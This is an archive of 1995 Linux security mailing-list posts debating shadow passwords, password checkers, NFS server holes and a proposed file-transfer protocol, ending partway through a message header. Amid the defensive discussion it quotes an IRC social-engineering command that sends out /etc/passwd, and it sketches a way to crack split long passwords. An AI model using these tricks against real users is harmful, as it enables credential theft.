Mon, 6 Mar 1995 19:59:16 -0500 Date: Mon, 6 Mar 1995 19:59:16 -0500 From: Rik Faith Message-Id: <[email protected]> To: [email protected] Subject: Re: Shadow Passwords? In-Reply-To: [Don Bennett ] Sun 5 Mar 1995 19:59:45 -0330 References: X-Url: http://www.cs.unc.edu/~faith/ CC: [email protected], [email protected] Sender: [email protected] Precedence: list Reply-To: [email protected] In general the "shadow password" technique is set up as follows: For all entries in the /etc/passwd file, the encrypted passwords are moved to another file, such as /etc/shadow. While /etc/passwd needs to be readable by the anyone on the system, /etc/shadow needs only to be readable by a restricted group, perhaps only the superuser. This is supposed to keep adversaries from obtaining the encrypted password list and running a dictionary attack against it. This idea of "information hiding" is one of many techniques that broadly fit under the category of "security through obscurity." Based on people who I have talked with in the Linux community, there are two main opinions about "security through obscurity": 1) it might help and it can't hurt, so let's use it; and 2) it actually can hurt because it provides a false sense of security and should not be used. I'm sure people will point out many advantages of using shadow passwords, so I'm going to talk about the disadvantages. The main assumption when dealing with a shadow password system is that use of this system guarantees that an adversary will not get your encrypted password list. However, there are many ways humans can make mistakes which will lead to the release of the password list. Perhaps the "adversary" actually has had root access in the past, perhaps by being in the sysadmin's office at the right time, or by being a former employee. The "adversary" might not have had the time (or the foresight) to install any backdoors, but may have swiped your password file. Or there may have been some error made in the permission setting of the /etc/shadow file -- perhaps someone did a "chmod a+r /etc/*" without thinking about the implications for /etc/shadow. Or there may have been a security problem that you just fixed after reading a CERT advisory, but which made your password list readable by anyone in the world. I'm sure you can think of many other situations in which the contents of the /etc/shadow file could be unwittingly released to an adversary. The problem with using systems like shadow passwords is that these systems give you a false sense of security -- in this case, they make you think that your password list is safe and secure. The warm, fuzzy feeling provided often prevents sysadmins from using superior, proactive methods for protecting the password file. The simplest, most-bang-for-the-buck proactive system is a simple replacement for passwd. No other system utilities need be changed -- only /bin/passwd needs replacing. There are currently several replacement passwd programs available in the unix world, such as Matt Bishop's passwd+ from dartmouth.edu:/pub/security and Mark Handerson's ANLpasswd from info.mcs.anl.gov:/pub/systems. Basically, when a user changes her password, these programs compare the selection to a dictionary (and to the gecos field, etc.) in the same way that a password cracker would. If the user has selected a "weak" password, these proactive programs force the user to make another selection. Without using a proactive password checker, you must always worry about password cracking attacks (research over the last 15 years suggests that, without a proactive checker, a large percentage of your users will select a simple, crackable password, often a women's first name). If you depend on a shadow password system to protect your passwords, then the release of your /etc/shadow will almost guarantee that your system is vulnerable. However, when using a proactive password checker, you can broadcast your passwd file to the world knowing that there is a fairly low probability that it contains passwords which are crackable in a reasonable amount of time. Forcing users to periodically select new passwords can also reduce this probability. From [email protected] Mon Mar 6 20:52:09 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA28732; Mon, 6 Mar 1995 20:46:15 -0500 Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id UAA28575; Mon, 6 Mar 1995 20:32:09 -0500 Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de with SMTP (PP); Tue, 7 Mar 1995 02:30:18 +0100 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9) id CAA02132 for [email protected]; Tue, 7 Mar 1995 02:30:14 +0100 Message-Id: <[email protected]> Subject: Re: NFS server To: [email protected] Date: Tue, 7 Mar 1995 02:30:14 +0100 (MET) In-Reply-To: from "Olaf Kirch" at Mar 6, 95 08:44:07 pm From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 478 Sender: [email protected] Precedence: list Reply-To: [email protected] > I'll see if I can put together a patch tonight for this and upload a > new server to some site. I'll also put in the root_squash fix posted > recently. While we're at it, are there any other known holes? Known holes are, or have been: - Portmapper hole with forwarding; fixed by Vietse Venema's secure portmapper. - Read-only export doesn't work, it is only parsed. - user can kill of nfsd - squash_root doesn't work (all of these in addition to the usual NFS holes). From [email protected] Mon Mar 6 21:37:52 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id VAA29344; Mon, 6 Mar 1995 21:35:56 -0500 Received: from st-james.comp.vuw.ac.nz (st-james.comp.vuw.ac.nz [130.195.5.14]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id VAA29269; Mon, 6 Mar 1995 21:30:38 -0500 Received: from gopher.dosli.govt.nz (uucp@localhost) by st-james.comp.vuw.ac.nz (8.6.10/8.6.9-VUW) with UUCP/gopher id OAA06671 for [email protected]; Tue, 7 Mar 1995 14:59:23 +1300 Date: Tue, 7 Mar 1995 14:46:05 +1300 Message-Id: <[email protected]> From: [email protected] (Mike Williams) To: [email protected] In-Reply-To: [email protected]'s message of Mon, 6 Mar 1995 21:14:39 +0100 (MET) Subject: Pro-active passwd(1)'s References: Sender: [email protected] Precedence: list Reply-To: [email protected] >>> On Mon, 6 Mar 1995 21:14:39 +0100 (MET), >>> "Olaf" == [email protected] (Olaf Kirch) wrote: Olaf> I remember there was some talk that the new version of crack would Olaf> contain a cracklib that could be easily integrated into other programs. Olaf> Does anyone know more about this? I know that there is a "cracklib" which is distributed separately from crack itself. You can find it at (for example): coast.cs.purdue.edu:/mirrors/cert.org/tools/cracklib On the subject of pro-active passwd(1) replacements, a package called 'ckpasswd' that I wrote was posted to comp.sources.unix last year (Volume 28, Issue 134). I haven't heard from anyone that's actually using it ... take from that what you will. Maybe no-one realised what it was, maybe it has major problems that no-one bothered to mentioned to me. Anyway, here's the blurb: --- cut here -------------------------------------------------------------- ckpasswd - a password checker Mike Williams Dept. of Land and Survey Information New Zealand 21 October 1994 ckpasswd is a utility that will check the "safety" of a candidate password. It is NOT (by itself) a passwd(1) replacement, as it does none of the work of updating the /etc/passwd file, etc. (but see mpasswd, below). ckpasswd is designed to be invoked by a passwd(1) replacement to check the users candidate password. The candidate password is read from standard input. If ckpasswd determines that the password is bad, it returns an explanation of why on stdout. The calling program is expected to reject the candidate password, possibly displaying the explanation and prompting the user for another password. If the password is okay, ckpasswd just exits with no output. FEATURES -------- * Highly configurable. * Written in perl for easy customisation. * Does not need to run setuid to root. * Can access a variety of dictionary types to check for bad passwords: - plain ASCII sorted file - case-folded sorted file (sorted with "sort -f") - DBM database - "Bloom filter" hash file - ispell(1) dictionary * Checks for password which may be based on real-world information about the user, including: - dates - phone numbers - number plates - username - user's full name - user's initials * Checks for simple transformations of words, including: - mixing case - pre-pending or appending digits/whitespace/punctuation - doubling & reflecting, eg. "blahblah", "blahhalb" * Checks for - alphabetic sequences - QWERTY sequences - host names WHY A SEPARATE PROGRAM? ----------------------- Why put the password checking functionality in a separate program rather than (say) a C library? Well, the main reason is that I wanted to write ckpasswd in perl, to make it more portable, flexible, powerful, maintainable, etc etc. However, I didn't want to implement the entire functionality of passwd(1) in perl, for several reasons: * Implementing passwd(1) in perl may be less secure. Security could be compromised if an attacker was able to alter any of: - the passwd(1) script itself; - perl libraries included by the script; - the perl binary. As passwd(1) must run as root, I was not prepared to take the risk. * On some systems (like mine) passwd(1) may need to do various things that are not easily accomplished in perl. For instance: - update an alternate authorisation database (eg. shadow passwords); - update the NIS passwd database; - update a BIND/Hesiod passwd database. >From a security point of view, the risk is greatly reduced as ckpasswd need not run set-uid to root. In fact, the passwd(1) program could seteuid("nobody") before invoking ckpasswd. There is still the danger of an attacker modifying ckpasswd to somehow record password choices, but this is not any worse that the risk of same attacker replacing /bin/passwd! Implementing ckpasswd as a standalone program also makes it easier to upgrade, test and or invoke from other systems that need password checking functionality. A SIMPLE PASSWD(1) WRAPPER -------------------------- Included is a simple wrapper around /bin/passwd that will make use of ckpasswd. mpasswd opens a pseudo-terminal, where it invokes /bin/passwd. Replies to the "new password" prompt are checked using ckpasswd before being passed on to the /bin/passwd process. VERSION 1.0 ----------- Note that this is the first time I've released ckpasswd. You have been warned! Bug reports, suggestions and feedback are welcome, although I hope that it won't need too much more development. Enjoy! Mike W. From [email protected] Mon Mar 6 21:54:25 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id VAA29542; Mon, 6 Mar 1995 21:52:56 -0500 Received: from pancake.remcomp.fr (pancake.remcomp.fr [194.51.30.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id QAA26131; Mon, 6 Mar 1995 16:41:56 -0500 Received: by jacob.remcomp.fr (Smail3.1.28.1 #1) id m0rllRO-0002dcC; Mon, 6 Mar 95 23:39 MET Message-Id: From: [email protected] (Jacob Navia) Subject: Secure setup for file transfer To: [email protected] Date: Mon, 6 Mar 1995 23:39:49 +0100 (MET) In-Reply-To: from "Olaf Kirch" at Mar 6, 95 10:33:48 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1869 Sender: [email protected] Precedence: list Reply-To: [email protected] [Moderator's (Jeff's) note: This question/post is more along the lines of general (secure) UNIX programming than Linux-specific security--but it does raise one interesting point: emulation of some sort of Machine ID for an i386-based Linux system, since PC's lack this as a built-in. Followups on this subject should be directed to the list, but followups related to programming a generally secure client/server (such as this one) should be directed to the author personally. Thanks.] -- Problem: Secure setup for file transfer. I need to distribute a set of files for all customers of a software provider. The files are both executables or/and data files. The customers run under Windows (3.1) and are linked via a tcpip network to the software provider (ISDN, router setup). I have proposed a Linux server as the file server. The server will run a propietary transfer protocol. This eliminates the security holes of FTP but could possible open new ones. That's the reason of this post. 1. My protocol needs: a) Establish that the guy at the other end is the user in question. This will be done by setting up a login/password scheme. The password SHOULD be encrypted. Question: What encryption scheme should I use? b) Establish that the machine doing the call is the machine that's authorized to call. Since there is no Machine ID with PCs, I will use an encryption scheme that reads the CMOS of the machine and makes an integer out of different values like the BIOS date, the type of BIOS, and other parameters. This number will be expected by the Linux server to be sure that the machine calling is the right one. Of course any change to the machine's motherboard will need a reinstallation of the software but this is no big deal. I will use Winsockets.DLL in the windows side, and a server daemon in the Linux side. Both sides are already written without any security concerns. The security options are scheduled to be done now. The server will use a special port number to receive data. Since there is a difference between port numbers under 1024 and those above, I will use one in the 4.000 range. Is that a good idea? The server will have our own access list for checking that the customer has the right to receive the data, billing etc. What do you think? Comments welcome. From [email protected] Mon Mar 6 21:54:44 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id VAA29555; Mon, 6 Mar 1995 21:53:18 -0500 Received: from serv0.cae.wisc.edu (serv0.cae.wisc.edu [144.92.4.11]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id VAA29440; Mon, 6 Mar 1995 21:45:23 -0500 Received: from hp-89.cae.wisc.edu ([email protected] [144.92.93.32]) by serv0.cae.wisc.edu (8.6.10 CAE/8.6.10) with ESMTP id UAA29674 for ; Mon, 6 Mar 1995 20:45:22 -0600 From: Carl V Streeter Received: (streeter@localhost) by hp-89.cae.wisc.edu (8.6.10 CAE/8.6.9) id UAA28035 for [email protected]; Mon, 6 Mar 1995 20:45:52 -0600 Message-Id: <[email protected]> Subject: Re: NFS server To: [email protected] Date: Mon, 06 Mar 1995 20:45:52 CST In-Reply-To: ; from "Olaf Kirch" at Mar 6, 95 8:44 pm X-Wisdom: Beer and pizza *do* contain all 4 food groups. X-Thought: Better dead than mellow X-Mailer: Elm [revision: 109.14] Sender: [email protected] Precedence: list Reply-To: [email protected] > > > I'll see if I can put together a patch tonight for this and upload a > new server to some site. I'll also put in the root_squash fix posted > recently. While we're at it, are there any other known holes? > Be careful. If it's the patch I've tried, it implements root_squash, but no no_root_squash. Ie. there is NO root access to NFS drives. On a net with controlled physical access, this seems silly. -- Carl Streeter | "Nothing is more frightening than [email protected] | ignorance in action" --Goethe Just another Perl hacker | ...Have you seen my saltshaker? CAE Consultant | http://www.engr.wisc.edu/~streeter/ linux-security/1995/linux-security.950307100664 1767 1767 151602 5730454673 17313 0ustar majdommajdomFrom [email protected] Tue Mar 7 03:45:52 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id DAA01770; Tue, 7 Mar 1995 03:43:45 -0500 Received: from teeny.molehill.org (s21-217.qns.com [199.1.21.217]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id XAA31372; Mon, 6 Mar 1995 23:49:22 -0500 Received: (from jtl@localhost) by teeny.molehill.org (8.6.10/8.6.9) id WAA08620; Mon, 6 Mar 1995 22:26:01 -0600 Posted-Date: Mon, 6 Mar 1995 22:26:01 -0600 Date: Mon, 6 Mar 1995 22:25:58 -0600 (CST) From: Todd Larason To: [email protected] Subject: Re: Shadow Passwords? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Mon, 6 Mar 1995, Rik Faith wrote: I agree with everything said here, but think one point needs to be made stronger, although it may already be obvious. > Basically, when a user changes her > password, these programs compare the selection to a dictionary (and to the > gecos field, etc.) in the same way that a password cracker would. It isn't (or shouldn't be) just like a password cracker would; the routine has access to the plaintext, so can 'work backwards' to do a very thorough check cheaply. From [email protected] Tue Mar 7 03:45:52 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id DAA01759; Tue, 7 Mar 1995 03:43:16 -0500 Received: from hq.jcic.org (hq.jcic.org [198.68.11.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id XAA30843; Mon, 6 Mar 1995 23:13:23 -0500 Received: by hq.jcic.org (Linux Smail3.1.29.1 #3) id m0rlqfM-000xCVC; Mon, 6 Mar 95 20:14 PST Message-Id: From: [email protected] (Daniel Hollis) Subject: Re: Shadow Passwords? To: [email protected] Date: Mon, 6 Mar 1995 20:14:35 -0800 (PST) In-Reply-To: <[email protected]> from "Ian A. McCloghrie" at Mar 6, 95 12:51:56 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1812 Sender: [email protected] Precedence: list Reply-To: [email protected] > On Mar 6, 1995 Roman Gollent wrote: > IMHO, the security/cost ratio for shadow passwords is quite low. > The added benefit of hidden encrypted passwords is relatively small, > and the hassle of having to hack every package that wants to do > user authentication before installing it is rather large. Most linux > systems are used by a single person, often not on any network at all, > where the likelihood of having untrustworthy users is quite small. > Shadow passwords don't buy much on your average linux system. > (linux systems being used for Internet Service Providing are another > question entirely, of course). Indeed. We run an ISP and have around 250 accounts. It doesn't take much for an outsider to coerce one of your newbie users to send them a copy of /etc/passwd by telling them to "/dcc send dork /etc/passwd" from IRC. Also when running an ISP there is the issue of untrustworthy users. Shadow passwords are mainly for internal security, but will also protect you in the example above. In a related vein, has anyone had experience running identd authentication? I have used it succesfully to trace down and catch several hackers. Of course it requires the other end to be running a real identd that doesn't lie, but that number of sites seems to be increasing. And yes, FYI we do run a real identd server. -Dan ------------------------------------------------------------------------------ Dan Hollis | Seiyuu Daisuki! | mokkori.jcic.org servers: JCIC System Administrator | Orikasa Ai | http:LPA-HOWTO (Linux page) http://www.jcic.org/ | Yokoyama Chisa | http:SM.html (SM Records page) [email protected] | (~(^_^)~) | Ztalk (Internet voice mail) ------------------------------------------------------------------------------ From [email protected] Tue Mar 7 03:45:52 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id DAA01764; Tue, 7 Mar 1995 03:43:31 -0500 Received: from hq.jcic.org (hq.jcic.org [198.68.11.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id XAA30907; Mon, 6 Mar 1995 23:18:09 -0500 Received: by hq.jcic.org (Linux Smail3.1.29.1 #3) id m0rlqjv-000xCcC; Mon, 6 Mar 95 20:19 PST Message-Id: From: [email protected] (Daniel Hollis) Subject: Re: Sh*dow Passwords? To: [email protected] Date: Mon, 6 Mar 1995 20:19:18 -0800 (PST) In-Reply-To: from "lilo" at Mar 6, 95 02:51:03 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list Reply-To: [email protected] [Mod: excessive quoting trimmed. --okir] > On Mon, 6 Mar 1995, Roman Gollent wrote: > I would like to see basic password sh*dowing support included in the > Linux libraries (in such a way as to minimize the need to recompile basic > utilities), but personally think it would be best to produce that > functionality independently of John's code, to avoid the arguments we saw > last time around. I don't think there's anything in his code that > couldn't be done cleaner and simpler for inclusion in the Linux libraries. Yes, this would be very nice. Rewrite the shadow suite from scratch, GPL the whole damned thing, and tell John to shove it. The current shadow package is a monster, there is no reason it can't be 1/2 to 1/3 the size it currently is. Does anyone know of weaknesses in the shadow package? Shortcomings? It would be a chance to correct them, if any -- and have a freely redistributable shadow package. -Dan From [email protected] Tue Mar 7 06:57:36 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA03075; Tue, 7 Mar 1995 06:56:03 -0500 Received: from mercury.ftech.co.uk (mercury.ftech.co.uk [193.133.17.69]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id FAA02388; Tue, 7 Mar 1995 05:14:35 -0500 Received: (from pdcawley@localhost) by mercury.ftech.co.uk (8.6.10/8.6.10) id KAA02849; Tue, 7 Mar 1995 10:14:32 GMT Date: Tue, 7 Mar 1995 10:14:31 +0000 (GMT) From: Piers Cawley To: [email protected] Subject: Re: Shadow Passwords? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Mon, 6 Mar 1995, Kyriakos Georgiou wrote: > Point well taken about shadow passwds, but.. > Lots of existing programs/utilities rely on the 'normal' /etv/passwd > I guess the drawback of shadow'ing is the need of shadow-aware > daemons/programs. There's not /that/ much stuff that legitimately needs access to password field of the passwd file... (Although I did get caught out when I supplied a customer with a copy of popper which had been compiled for the shadow passwords he didn't have...) > A cute solution is a smarter 'passwd' program (don't allow dictionary > words, follow simple rules which make brute force cracking impossible, > yet such passwd restrictions may be unacceptable by users :-) Can I just put a word in here for the perl based passwd program that's in the back of the camel book? This is smart enough to work with either shadow or standard password files and has a bewildering variety of checks available to build a safe password. It's also a damn sight better than the shadow suite's version of passwd which restricts the search space by insisting on a minimum length, a number or two, and mixed case... Larry's just throws out your password if it's not safe, with some explanation as to why. Piers Cawley -- Systems Sheriff on the Frontier Internet Service Frontier Internet -- Sellers of Web Space and Internet Connectivity From [email protected] Tue Mar 7 06:57:37 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA03069; Tue, 7 Mar 1995 06:55:49 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id FAA02353; Tue, 7 Mar 1995 05:03:52 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Secure setup for file transfer To: [email protected] Date: Tue, 7 Mar 1995 10:04:03 +0000 (GMT) In-Reply-To: from "Jacob Navia" at Mar 6, 95 11:39:49 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 2609 Sender: [email protected] Precedence: list Reply-To: [email protected] > I have proposed a Linux server as the file server. The server will run > a propietary transfer protocol. This eliminates the security holes of > FTP but could possible open new ones. That's the reason of this post. So you feel you in person can beat 12 years of debugging, CERT and the combined work of the unix world in security. > 1. My protocol needs: > a) Establish that the guy at the other end is the user in question. > This will be done by setting up a login/password scheme. The > password SHOULD be encrypted. Question: What encryption scheme > should I use? FTP + SRA encryption. Ideally you should use a Diffie Helman exchange system but you'll have to buy a patent license in the USA for that. > b) Establish that the machine doing the call is the machine that's > authorized to call. Since there is no Machine ID with PCs, I will > use an encryption scheme that reads the CMOS of the machine and > makes an integer out of different values like the BIOS date, the > type of BIOS, and other parameters. This number will be expected > by the Linux server to be sure that the machine calling is the > right one. Of course any change to the machine's motherboard will > need a reinstallation of the software but this is no big deal. Some CMOS values change. Anyone can take your binaries apart and deduce the number for a given machine. Thats a small exercise as people who've had game protection systems shredded under them will tell you. > I will use Winsockets.DLL in the windows side, and a server daemon in the > Linux side. Both sides are already written without any security concerns. > The security options are scheduled to be done now. The winsock.dll means your application can trivially be logged so your system must be immune to playback attacks on other machines. This may cause problems it means for example you can't simply use a generated machine specific key. > The server will use a special port number to receive data. Since there is > a difference between port numbers under 1024 and those above, I will use > one in the 4.000 range. Is that a good idea? It has no meaning at all. If you want secure data you have to implement a secure transfer layer. Again in the US be very careful, export of encryption can carry a prison sentence so you can't sell outside the USA. Within the USA most encryptions have software patents on them. MD5 and 3DES are options that I think are clear. > What do you think? Comments welcome. Stupid question - wouldn't caller ID on the modems be an easier technique Alan From [email protected] Tue Mar 7 06:57:39 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA03061; Tue, 7 Mar 1995 06:55:29 -0500 Received: from dutecai.et.tudelft.nl (dutecai.et.tudelft.nl [130.161.144.190]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id EAA02228; Tue, 7 Mar 1995 04:33:34 -0500 Received: by dutecai.et.tudelft.nl (8.6.9/1.34JP) id KAA25587; Tue, 7 Mar 1995 10:33:31 +0100 Message-Id: <[email protected]> Subject: Re: Sh*dow Passwords? To: [email protected] Date: Tue, 7 Mar 1995 10:33:30 +0100 (MET) In-Reply-To: from "Daniel Hollis" at Mar 6, 95 08:19:18 pm From: [email protected] X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 1387 Sender: [email protected] Precedence: list Reply-To: [email protected] > > [Mod: excessive quoting trimmed. --okir] > > Yes, this would be very nice. Rewrite the shadow suite from scratch, GPL the > whole damned thing, and tell John to shove it. The current shadow package > is a monster, there is no reason it can't be 1/2 to 1/3 the size it > currently is. > > Does anyone know of weaknesses in the shadow package? Shortcomings? It > would be a chance to correct them, if any -- and have a freely > redistributable shadow package. Talking about serious weaknesses in the shadow package: Suppose I have the password "impressive" (chosen from a much too small set-of-words in /usr/dict/words). A cracker would need to test on the order of 24000 words (the number of words in our /usr/dict/words). With shadow passwords, this wouldn't be the case. Crack the last two characters with 26*26 attempts, and bingo you've got ........ve . grep ^........ve$ /usr/dict/words |wc and you've got 46 more tries to go. In short this password, although longer than 8 characters, was substantially easier to crack than an eight character password would have been. The scheme might be a little harder when it isn't "given" that it's a word from /usr/dict/words, but substantial savings can be reached by first cracking the much-too-short second half of the 10-12 character password, and using that to limit the search for the first part. Roger. From [email protected] Tue Mar 7 06:57:43 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA03082; Tue, 7 Mar 1995 06:56:14 -0500 Received: from mercury.ftech.co.uk (mercury.ftech.co.uk [193.133.17.69]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id FAA02408; Tue, 7 Mar 1995 05:25:18 -0500 Received: (from pdcawley@localhost) by mercury.ftech.co.uk (8.6.10/8.6.10) id KAA02874; Tue, 7 Mar 1995 10:25:18 GMT Date: Tue, 7 Mar 1995 10:25:17 +0000 (GMT) From: Piers Cawley To: [email protected] cc: [email protected] Subject: Re: Sh*dow Passwords? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Mon, 6 Mar 1995, Daniel Hollis wrote: > Does anyone know of weaknesses in the shadow package? Shortcomings? It > would be a chance to correct them, if any -- and have a freely > redistributable shadow package. Passwords are too short. Okay, you can extend to 15 characters, but from my own experience it is far easier to remember a phrase than a cryptically spelt 10 char password... Hell, then even classics like: There ain't know such thing as a 3 lunch become hard for a cracker to get to through brute force... Of course convicing two finger typist users that this would be a good thing is left as an exercise to the reader. Piers Cawley -- Systems Sheriff on the Frontier Internet Service Frontier Internet -- Sellers of Web Space and Internet Connectivity From [email protected] Tue Mar 7 06:58:11 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA03092; Tue, 7 Mar 1995 06:56:45 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id FAA02416; Tue, 7 Mar 1995 05:25:49 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: NFS server To: [email protected] Date: Tue, 7 Mar 1995 10:27:06 +0000 (GMT) In-Reply-To: <[email protected]> from "Thomas Koenig" at Mar 7, 95 02:30:14 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 662 Sender: [email protected] Precedence: list Reply-To: [email protected] > > > I'll see if I can put together a patch tonight for this and upload a > > new server to some site. I'll also put in the root_squash fix posted > > recently. While we're at it, are there any other known holes? > > Known holes are, or have been: > > - Portmapper hole with forwarding; fixed by Vietse Venema's secure > portmapper. > > - Read-only export doesn't work, it is only parsed. > > - user can kill of nfsd > > - squash_root doesn't work > > (all of these in addition to the usual NFS holes). Add default exports file has a '#' at the start and at least with some nfsd variants means a machine called '#' can mount all of your disks. Alan From [email protected] Tue Mar 7 06:58:21 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA03098; Tue, 7 Mar 1995 06:56:54 -0500 Received: from mercury.ftech.co.uk (mercury.ftech.co.uk [193.133.17.69]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id FAA02426; Tue, 7 Mar 1995 05:29:52 -0500 Received: (from pdcawley@localhost) by mercury.ftech.co.uk (8.6.10/8.6.10) id KAA02881; Tue, 7 Mar 1995 10:29:51 GMT Date: Tue, 7 Mar 1995 10:29:50 +0000 (GMT) From: Piers Cawley To: [email protected] Subject: Re: Shadow Passwords? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Mon, 6 Mar 1995, Daniel Hollis wrote: > Indeed. We run an ISP and have around 250 accounts. It doesn't take much > for an outsider to coerce one of your newbie users to send them a copy of > /etc/passwd by telling them to "/dcc send dork /etc/passwd" from IRC. Consider running as a slip/ppp only site... We don't give our users shell accounts at all (and the telnet/rlogin ports are blocked out by our routers), they get thrown straight into pppd/diplogin so they don't get to go near our /etc/passwd file -- a telnet connection throws them straight into /sbin/passwd, which I'm probably going to replace with something a little more proactive and less prescriptive than the version in the shadow suite. Piers Cawley -- Systems Sheriff on the Frontier Internet Service Frontier Internet -- Sellers of Web Space and Internet Connectivity From [email protected] Tue Mar 7 11:30:15 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA05743; Tue, 7 Mar 1995 11:26:50 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id EAA02305; Tue, 7 Mar 1995 04:51:24 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Shadow Passwords? To: [email protected] Date: Tue, 7 Mar 1995 09:52:37 +0000 (GMT) In-Reply-To: from "Olaf Kirch" at Mar 6, 95 09:14:39 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 348 Sender: [email protected] Precedence: list Reply-To: [email protected] > I remember there was some talk that the new version of crack would > contain a cracklib that could be easily integrated into other programs. > Does anyone know more about this? Cracklib stuff has been floating around for a while. Ask Alec Muffet the author. He's also a Linux hacker so its probably ported too ;) Alan From [email protected] Tue Mar 7 12:04:14 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA06013; Tue, 7 Mar 1995 12:02:29 -0500 Received: from staff.cs.su.OZ.AU (staff.cs.su.OZ.AU [129.78.8.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id HAA03364; Tue, 7 Mar 1995 07:33:26 -0500 Received: from sour.sw.oz.au by staff.cs.su.OZ.AU (mail from jeremy for [email protected]) with MHSnet (insertion MHSnet site: swallow.sw.oz.au); Tue, 07 Mar 1995 22:33:16 +1000 Received: from sour.sw.oz.au by swallow.sw.oz.au with SMTP id AA08221; Tue, 7 Mar 95 22:33:41 EST (4.1/Unixware) (from [email protected] for [email protected]) Received: by sour.sw.oz.au id AA08225; Tue, 7 Mar 1995 22:33:10 +1000 (5.65c/1.34) (from [email protected] for [email protected]) From: [email protected] (Jeremy Fitzhardinge) Message-Id: <[email protected]> Subject: Re: Sh*dow Passwords? To: [email protected] Date: Tue, 7 Mar 1995 22:33:09 +1000 (EST) In-Reply-To: <[email protected]> from "[email protected]" at Mar 7, 95 10:33:30 am Organization: Softway Pty Ltd X-Face: '6U=%Tv\k1l-:?\$C[D@G 7(vl~w8&y}!f\bh#wL#n,TGKh>T.c7eT5-y)Hl'i;A1z$9?*lD.k}yqshddFb l[EC}c=;uc%x'}uh3E91p&oE Talking about serious weaknesses in the shadow package: > > [description of problems with "long passwords"] Yes, I've been concerned about this myself. The problem with the shadow password suite's approach is that it fails to mix around the user's input to distribute it evenly between the 2 crypted halves. Probably the best solution is to abandon the traditional "crypt" algorithm altogether, and use something like an MD5 hash. This would allow effectively unlimited password length and be slightly harder to get a cracker for (but only slightly).This would break everything wanting to do their own authentication, but that's OK if you have to modify them to use a shadow passwd file anyway. J From [email protected] Tue Mar 7 12:04:45 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA06020; Tue, 7 Mar 1995 12:02:50 -0500 Received: from sun1000.ci.pwr.wroc.pl (sun1000.ci.pwr.wroc.pl [156.17.5.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id JAA04703; Tue, 7 Mar 1995 09:56:08 -0500 Received: from ci3ux.ci.pwr.wroc.pl (ci3ux.ci.pwr.wroc.pl [156.17.10.3]) by 